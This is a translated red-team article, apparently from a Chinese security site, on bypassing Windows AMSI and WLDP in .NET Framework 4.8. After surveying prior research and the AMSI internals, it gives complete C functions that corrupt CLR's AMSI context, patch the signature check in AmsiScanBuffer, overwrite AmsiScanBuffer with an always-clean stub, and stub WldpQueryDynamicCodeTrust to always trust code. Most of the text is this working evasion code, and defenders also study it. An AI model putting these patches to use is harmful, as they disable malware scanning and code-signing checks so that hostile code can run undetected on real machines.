如何绕过AMSI及WLDP

阅读量    56852 | 评论 1   稿费 150

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x00 前言

.NET Framework在v4.8版中使用Antimalware Scan Interface (AMSI)以及Windows Lockdown Policy (WLDP)机制来阻止攻击者从内存中运行潜在风险的软件。WLDP会验证动态代码的数字签名,而AMSI会扫描有害或者被管理员阻止运行的软件。本文介绍了红队用来绕过AMSI的3种常用方法,也介绍了能绕过WLDP的一种方法。这里介绍的绕过方法较为通用,不需要掌握关于AMSI或者WLDP的特殊知识点。在2019年6月之后这些方法可能没那么好好用。我们与TheWover一起合作,共同研究关于AMSI及WLDP的相关技术。

 

0x01 已有研究成果

关于AMSI及WLDP之前已经有一些研究成果,如下表所示。如果大家还掌握更多资料,可以随时给我发邮件更新。

时间 w文章
2016年5月 Bypassing Amsi using PowerShell 5 DLL Hijacking by Cneelis
2017年7月 Bypassing AMSI via COM Server Hijacking by Matt Nelson
2017年7月 Bypassing Device Guard with .NET Assembly Compilation Methods by Matt Graeber
2018年2月 AMSI Bypass With a Null Character by Satoshi Tanda
2018年2月 AMSI Bypass: Patching Technique by CyberArk (Avi Gimpel and Zeev Ben Porat).
2018年2月 The Rise and Fall of AMSI by Tal Liberman (Ensilo).
2018年5月 AMSI Bypass Redux by Avi Gimpel (CyberArk).
2018年6月 Exploring PowerShell AMSI and Logging Evasion by Adam Chester
2018年6月 Disabling AMSI in JScript with One Simple Trick by James Forshaw
2018年6月 Documenting and Attacking a Windows Defender Application Control Feature the Hard Way – A Case Study in Security Research Methodology by Matt Graeber
2018年10月 How to bypass AMSI and execute ANY malicious Powershell code by Andre Marques
2018年10月 AmsiScanBuffer Bypass Part 1, Part 2, Part 3, Part 4 by Rasta Mouse
2018年12月 PoC function to corrupt the g_amsiContext global variable in clr.dll by Matt Graeber
2019年4月 Bypassing AMSI for VBA by Pieter Ceelen (Outflank)

 

0x02 AMSI示例代码

在给定文件路径的情况下,如下代码可以打开该文件,将其映射到内存中然后使用AMSI来检测文件内容是否有害,或者是否被管理员所阻止:

typedef HRESULT (WINAPI *AmsiInitialize_t)(
  LPCWSTR      appName,
  HAMSICONTEXT *amsiContext);

typedef HRESULT (WINAPI *AmsiScanBuffer_t)(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result);

typedef void (WINAPI *AmsiUninitialize_t)(
  HAMSICONTEXT amsiContext);

BOOL IsMalware(const char *path) {
    AmsiInitialize_t   _AmsiInitialize;
    AmsiScanBuffer_t   _AmsiScanBuffer;
    AmsiUninitialize_t _AmsiUninitialize;
    HAMSICONTEXT       ctx;
    AMSI_RESULT        res;
    HMODULE            amsi;

    HANDLE             file, map, mem;
    HRESULT            hr = -1;
    DWORD              size, high;
    BOOL               malware = FALSE;

    // load amsi library
    amsi = LoadLibrary("amsi");

    // resolve functions
    _AmsiInitialize = 
      (AmsiInitialize_t)
      GetProcAddress(amsi, "AmsiInitialize");

    _AmsiScanBuffer =
      (AmsiScanBuffer_t)
      GetProcAddress(amsi, "AmsiScanBuffer");

    _AmsiUninitialize = 
      (AmsiUninitialize_t)
      GetProcAddress(amsi, "AmsiUninitialize");

    // return FALSE on failure
    if(_AmsiInitialize   == NULL ||
       _AmsiScanBuffer   == NULL ||
       _AmsiUninitialize == NULL) {
      printf("Unable to resolve AMSI functions.n");
      return FALSE;
    }

    // open file for reading
    file = CreateFile(
      path, GENERIC_READ, FILE_SHARE_READ,
      NULL, OPEN_EXISTING, 
      FILE_ATTRIBUTE_NORMAL, NULL); 

    if(file != INVALID_HANDLE_VALUE) {
      // get size
      size = GetFileSize(file, &high);
      if(size != 0) {
        // create mapping
        map = CreateFileMapping(
          file, NULL, PAGE_READONLY, 0, 0, 0);

        if(map != NULL) {
          // get pointer to memory
          mem = MapViewOfFile(
            map, FILE_MAP_READ, 0, 0, 0);

          if(mem != NULL) {
            // scan for malware
            hr = _AmsiInitialize(L"AMSI Example", &ctx);
            if(hr == S_OK) {
              hr = _AmsiScanBuffer(ctx, mem, size, NULL, 0, &res);
              if(hr == S_OK) {
                malware = (AmsiResultIsMalware(res) || 
                           AmsiResultIsBlockedByAdmin(res));
              }
              _AmsiUninitialize(ctx);
            }              
            UnmapViewOfFile(mem);
          }
          CloseHandle(map);
        }
      }
      CloseHandle(file);
    }
    return malware;
}

扫描正常文件和有害文件的结果如下所示:

如果大家对AMSI的内部工作原理已经非常熟悉,可以直接跳到下文的绕过方法部分内容。

 

0x03 AMSI上下文

AMSI上下文结构是一个非公开的结构,但我们可以使用如下结构来解析返回的句柄。

typedef struct tagHAMSICONTEXT {
  DWORD        Signature;          // "AMSI" or 0x49534D41
  PWCHAR       AppName;            // set by AmsiInitialize
  IAntimalware *Antimalware;       // set by AmsiInitialize
  DWORD        SessionCount;       // increased by AmsiOpenSession
} _HAMSICONTEXT, *_PHAMSICONTEXT;

 

0x04 AMSI初始化

在初始化函数参数中,appName指向的是用户定义的一个unicode字符串,而amsiContext指向的是HAMSICONTEXT类型的一个句柄。如果成功初始化AMSI上下文,该函数就会返回S_OK。如下代码并非完整版的初始化函数代码,但可以帮助我们理解AMSI的内部工作流程。

HRESULT _AmsiInitialize(LPCWSTR appName, HAMSICONTEXT *amsiContext) {
    _HAMSICONTEXT *ctx;
    HRESULT       hr;
    int           nameLen;
    IClassFactory *clsFactory = NULL;

    // invalid arguments?
    if(appName == NULL || amsiContext == NULL) {
      return E_INVALIDARG;
    }

    // allocate memory for context
    ctx = (_HAMSICONTEXT*)CoTaskMemAlloc(sizeof(_HAMSICONTEXT));
    if(ctx == NULL) {
      return E_OUTOFMEMORY;
    }

    // initialize to zero
    ZeroMemory(ctx, sizeof(_HAMSICONTEXT));

    // set the signature to "AMSI"
    ctx->Signature = 0x49534D41;

    // allocate memory for the appName and copy to buffer
    nameLen = (lstrlen(appName) + 1) * sizeof(WCHAR);
    ctx->AppName = (PWCHAR)CoTaskMemAlloc(nameLen);

    if(ctx->AppName == NULL) {
      hr = E_OUTOFMEMORY;
    } else {
      // set the app name
      lstrcpy(ctx->AppName, appName);

      // instantiate class factory
      hr = DllGetClassObject(
        CLSID_Antimalware, 
        IID_IClassFactory, 
        (LPVOID*)&clsFactory);

      if(hr == S_OK) {
        // instantiate Antimalware interface
        hr = clsFactory->CreateInstance(
          NULL,
          IID_IAntimalware, 
          (LPVOID*)&ctx->Antimalware);

        // free class factory
        clsFactory->Release();

        // save pointer to context
        *amsiContext = ctx;
      }
    }

    // if anything failed, free context
    if(hr != S_OK) {
      AmsiFreeContext(ctx);
    }
    return hr;
}

HAMSICONTEXT结构对应的内存在堆上分配,并且使用appName、AMSI对应的“签名”(即0x49534D41)和IAntimalware接口进行初始化。

 

0x05 AMSI扫描

我们可以通过如下代码,大致了解当该函数被调用时会执行哪些操作。如果扫描成功,返回结果为S_OK,我们需要检查AMSI_RESULT,判断buffer中是否包含不需要的软件。

HRESULT _AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result)
{
    _HAMSICONTEXT *ctx = (_HAMSICONTEXT*)amsiContext;

    // validate arguments
    if(buffer           == NULL       ||
       length           == 0          ||
       amsiResult       == NULL       ||
       ctx              == NULL       ||
       ctx->Signature   != 0x49534D41 ||
       ctx->AppName     == NULL       ||
       ctx->Antimalware == NULL)
    {
      return E_INVALIDARG;
    }

    // scan buffer
    return ctx->Antimalware->Scan(
      ctx->Antimalware,     // rcx = this
      &CAmsiBufferStream,   // rdx = IAmsiBufferStream interface
      amsiResult,           // r8  = AMSI_RESULT
      NULL,                 // r9  = IAntimalwareProvider
      amsiContext,          // HAMSICONTEXT
      CAmsiBufferStream,
      buffer,
      length, 
      contentName,
      amsiSession);
}

注意观察上面对参数的验证过程,我们可以以此为基础,让AmsiScanBuffer失败,返回E_INVALIDARG

 

0x06 AMSI的CLR实现

CLR使用了名为AmsiScan的一个私有函数来检测通过Load方法传递的软件是否为潜在风险软件。根据检测结果,系统可能会结束某个.NET进程的运行(但不一定是使用CLR托管接口的非托管(unmanaged)进程)。我们可以通过如下代码大致了解CLR如何实现AMSI。

AmsiScanBuffer_t _AmsiScanBuffer;
AmsiInitialize_t _AmsiInitialize;
HAMSICONTEXT     *g_amsiContext;

VOID AmsiScan(PVOID buffer, ULONG length) {
    HMODULE          amsi;
    HAMSICONTEXT     *ctx;
    HAMSI_RESULT     amsiResult;
    HRESULT          hr;

    // if global context not initialized
    if(g_amsiContext == NULL) {
      // load AMSI.dll
      amsi = LoadLibraryEx(
        L"amsi.dll", 
        NULL, 
        LOAD_LIBRARY_SEARCH_SYSTEM32);

      if(amsi != NULL) {
        // resolve address of init function
        _AmsiInitialize = 
          (AmsiInitialize_t)GetProcAddress(amsi, "AmsiInitialize");

        // resolve address of scanning function
        _AmsiScanBuffer =
          (AmsiScanBuffer_t)GetProcAddress(amsi, "AmsiScanBuffer");

        // failed to resolve either? exit scan
        if(_AmsiInitialize == NULL ||
           _AmsiScanBuffer == NULL) return;

        hr = _AmsiInitialize(L"DotNet", &ctx);

        if(hr == S_OK) {
          // update global variable
          g_amsiContext = ctx;
        }
      }
    }
    if(g_amsiContext != NULL) {
      // scan buffer
      hr = _AmsiScanBuffer(
        g_amsiContext,
        buffer,
        length,
        0,
        0,        
        &amsiResult);

      if(hr == S_OK) {
        // if malware was detected or it's blocked by admin
        if(AmsiResultIsMalware(amsiResult) ||
           AmsiResultIsBlockedByAdmin(amsiResult))
        {
          // "Operation did not complete successfully because "
          // "the file contains a virus or potentially unwanted" 
          // software.
          GetHRMsg(ERROR_VIRUS_INFECTED, &error_string, 0);
          ThrowHR(COR_E_BADIMAGEFORMAT, &error_string);          
        }           
      }
    }
}

CLR使用了名为g_amsiContext的一个全局变量,该变量指向的是由AmsiInitialize创建的AMSI上下文(当首次使用AmsiScan时)。如果AMSI上下文结构被破坏,AmsiScan并不会抛出任何错误,这是否是个问题值得商榷。如果AmsiScanBuffer返回S_OK,只有此时才会检查amsiResult。如果buffer中包含恶意代码,就会使用COR_E_BADIMAGEFORMAT以及ERROR_VIRUS_INFECTED错误信息来调用ThrowHR。然而,如果向AmsiScanBuffer传递了格式错误的上下文,那么该函数就会返回E_INVALIDARG,并且buffer中的内容永远不会被检查。此外,AmsiScan并不会去调查为什么AmsiScanBuffer会出现错误。这里应该问一个问题:“如果系统支持AMSI且调用失败了,背后的原因到底是什么?”

 

0x07 AMSI绕过:Patch数据

Matt Graeber提供了一个PoC,可以破坏CLR!g_amsiContext所指向的上下文,这样将导致AmsiScanBuffer返回E_INVALIDARG。从CLR的实现代码中可知,由于系统永远不会验证CLR!AmsiScan的结果是否成功或者失败,因此这种方法行之有效。我们认为系统会简单抛出一个错误,终止尝试加载恶意软件的宿主应用,然而,托管.NET程序集的非托管应用可能会处理任何C++异常。Windows Defender仍然会记录检测到有害代码的行为,但非托管宿主应用在某些情况下仍然可以继续运行。为了通过g_amsiContext禁用AMSI,我们可以搜索PEB.ProcessHeap所指向的堆内存,或者搜索.data段虚拟地址空间中找到的每个指针。后一种方法可以参考如下代码,只有当CLR调用AmsiScan后这种方法才有效。

BOOL DisableAMSI(VOID) {
    LPVOID                   hCLR;
    BOOL                     disabled = FALSE;
    PIMAGE_DOS_HEADER        dos;
    PIMAGE_NT_HEADERS        nt;
    PIMAGE_SECTION_HEADER    sh;
    DWORD                    i, j, res;
    PBYTE                    ds;
    MEMORY_BASIC_INFORMATION mbi;
    _PHAMSICONTEXT           ctx;

    hCLR = GetModuleHandleA("CLR");

    if(hCLR != NULL) {
      dos = (PIMAGE_DOS_HEADER)hCLR;  
      nt  = RVA2VA(PIMAGE_NT_HEADERS, hCLR, dos->e_lfanew);  
      sh  = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + 
             nt->FileHeader.SizeOfOptionalHeader);

      // scan all writeable segments while disabled == FALSE
      for(i = 0; 
          i < nt->FileHeader.NumberOfSections && !disabled; 
          i++) 
      {
        // if this section is writeable, assume it's data
        if (sh[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
          // scan section for pointers to the heap
          ds = RVA2VA (PBYTE, hCLR, sh[i].VirtualAddress);

          for(j = 0; 
              j < sh[i].Misc.VirtualSize - sizeof(ULONG_PTR); 
              j += sizeof(ULONG_PTR)) 
          {
            // get pointer
            ULONG_PTR ptr = *(ULONG_PTR*)&ds[j];
            // query if the pointer
            res = VirtualQuery((LPVOID)ptr, &mbi, sizeof(mbi));
            if(res != sizeof(mbi)) continue;

            // if it's a pointer to heap or stack
            if ((mbi.State   == MEM_COMMIT    ) &&
                (mbi.Type    == MEM_PRIVATE   ) && 
                (mbi.Protect == PAGE_READWRITE))
            {
              ctx = (_PHAMSICONTEXT)ptr;
              // check if it contains the signature 
              if(ctx->Signature == 0x49534D41) {
                // corrupt it
                ctx->Signature++;
                disabled = TRUE;
                break;
              }
            }
          }
        }
      }
    }
    return disabled;
}

 

0x08 AMSI绕过:Patch代码(1)

CyberArk建议通过两条指令( xor edi, edi, nop)来patch AmsiScanBuffer。如果我们想hook该函数,那么在跳转到其他函数之前,可以使用LDE(Length Disassembler Engine)来计算待保存的prolog字节数。由于该函数会验证传递进来的的AMSI上下文参数,并且要求Signature值为“AMSI”,因此我们可以定位这个值,简单将其更改为其他值即可。与Matt Graeber破坏上下文/数据的方法不同,在如下代码中我们会破坏这个特征值来绕过AMSI。

BOOL DisableAMSI(VOID) {
    HMODULE        dll;
    PBYTE          cs;
    DWORD          i, op, t;
    BOOL           disabled = FALSE;
    _PHAMSICONTEXT ctx;

    // load AMSI library
    dll = LoadLibraryExA(
      "amsi", NULL, 
      LOAD_LIBRARY_SEARCH_SYSTEM32);

    if(dll == NULL) {
      return FALSE;
    }
    // resolve address of function to patch
    cs = (PBYTE)GetProcAddress(dll, "AmsiScanBuffer");

    // scan for signature
    for(i=0;;i++) {
      ctx = (_PHAMSICONTEXT)&cs[i];
      // is it "AMSI"?
      if(ctx->Signature == 0x49534D41) {
        // set page protection for write access
        VirtualProtect(cs, sizeof(ULONG_PTR), 
          PAGE_EXECUTE_READWRITE, &op);

        // change signature
        ctx->Signature++;

        // set page back to original protection
        VirtualProtect(cs, sizeof(ULONG_PTR), op, &t);
        disabled = TRUE;
        break;
      }
    }
    return disabled;
}

 

0x09 AMSI绕过:Patch代码(2)

Tal Liberman的建议是覆盖AmsiScanBuffer的prolog字节,使该函数返回1。如下代码会覆盖该函数,使得当CLR扫描任何缓冲区时,该函数都会返回AMSI_RESULT_CLEAN以及S_OK

// fake function that always returns S_OK and AMSI_RESULT_CLEAN
static HRESULT AmsiScanBufferStub(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result)
{
    *result = AMSI_RESULT_CLEAN;
    return S_OK;
}

static VOID AmsiScanBufferStubEnd(VOID) {}

BOOL DisableAMSI(VOID) {
    BOOL    disabled = FALSE;
    HMODULE amsi;
    DWORD   len, op, t;
    LPVOID  cs;

    // load amsi
    amsi = LoadLibrary("amsi");

    if(amsi != NULL) {
      // resolve address of function to patch
      cs = GetProcAddress(amsi, "AmsiScanBuffer");

      if(cs != NULL) {
        // calculate length of stub
        len = (ULONG_PTR)AmsiScanBufferStubEnd -
          (ULONG_PTR)AmsiScanBufferStub;

        // make the memory writeable
        if(VirtualProtect(
          cs, len, PAGE_EXECUTE_READWRITE, &op))
        {
          // over write with code stub
          memcpy(cs, &AmsiScanBufferStub, len);

          disabled = TRUE;

          // set back to original protection
          VirtualProtect(cs, len, op, &t);
        }
      }
    }
    return disabled;
}

patch之后,恶意软件会被标记为安全软件,如下图所示:

 

0x0A WLDP示例代码

如下函数演示了如何使用WLDP(Windows Lockdown Policy)来查询内存中的动态代码是否可信。

BOOL VerifyCodeTrust(const char *path) {
    WldpQueryDynamicCodeTrust_t _WldpQueryDynamicCodeTrust;
    HMODULE                     wldp;
    HANDLE                      file, map, mem;
    HRESULT                     hr = -1;
    DWORD                       low, high;

    // load wldp
    wldp = LoadLibrary("wldp");
    _WldpQueryDynamicCodeTrust = 
      (WldpQueryDynamicCodeTrust_t)
      GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");

    // return FALSE on failure
    if(_WldpQueryDynamicCodeTrust == NULL) {
      printf("Unable to resolve address for WLDP.dll!WldpQueryDynamicCodeTrust.n");
      return FALSE;
    }

    // open file reading
    file = CreateFile(
      path, GENERIC_READ, FILE_SHARE_READ,
      NULL, OPEN_EXISTING, 
      FILE_ATTRIBUTE_NORMAL, NULL); 

    if(file != INVALID_HANDLE_VALUE) {
      // get size
      low = GetFileSize(file, &high);
      if(low != 0) {
        // create mapping
        map = CreateFileMapping(file, NULL, PAGE_READONLY, 0, 0, 0);
        if(map != NULL) {
          // get pointer to memory
          mem = MapViewOfFile(map, FILE_MAP_READ, 0, 0, 0);
          if(mem != NULL) {
            // verify signature
            hr = _WldpQueryDynamicCodeTrust(0, mem, low);              
            UnmapViewOfFile(mem);
          }
          CloseHandle(map);
        }
      }
      CloseHandle(file);
    }
    return hr == S_OK;
}

 

0x0B WLDP绕过:Patch代码

我们可以使用桩(stub)代码来覆盖该函数,始终返回S_OK

// fake function that always returns S_OK
static HRESULT WINAPI WldpQueryDynamicCodeTrustStub(
    HANDLE fileHandle,
    PVOID  baseImage,
    ULONG  ImageSize)
{
    return S_OK;
}

static VOID WldpQueryDynamicCodeTrustStubEnd(VOID) {}

static BOOL PatchWldp(VOID) {
    BOOL    patched = FALSE;
    HMODULE wldp;
    DWORD   len, op, t;
    LPVOID  cs;

    // load wldp
    wldp = LoadLibrary("wldp");

    if(wldp != NULL) {
      // resolve address of function to patch
      cs = GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");

      if(cs != NULL) {
        // calculate length of stub
        len = (ULONG_PTR)WldpQueryDynamicCodeTrustStubEnd -
          (ULONG_PTR)WldpQueryDynamicCodeTrustStub;

        // make the memory writeable
        if(VirtualProtect(
          cs, len, PAGE_EXECUTE_READWRITE, &op))
        {
          // over write with stub
          memcpy(cs, &WldpQueryDynamicCodeTrustStub, len);

          patched = TRUE;

          // set back to original protection
          VirtualProtect(cs, len, op, &t);
        }
      }
    }
    return patched;
}

虽然本文介绍的方法检测起来非常容易,但对于Windows 10上最新版的DotNet Framework来说依然有效。只要我们还可以patch AMSI用来检测有害代码的数据或者代码,那么绕过AMSI的方法就一直都会存在。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多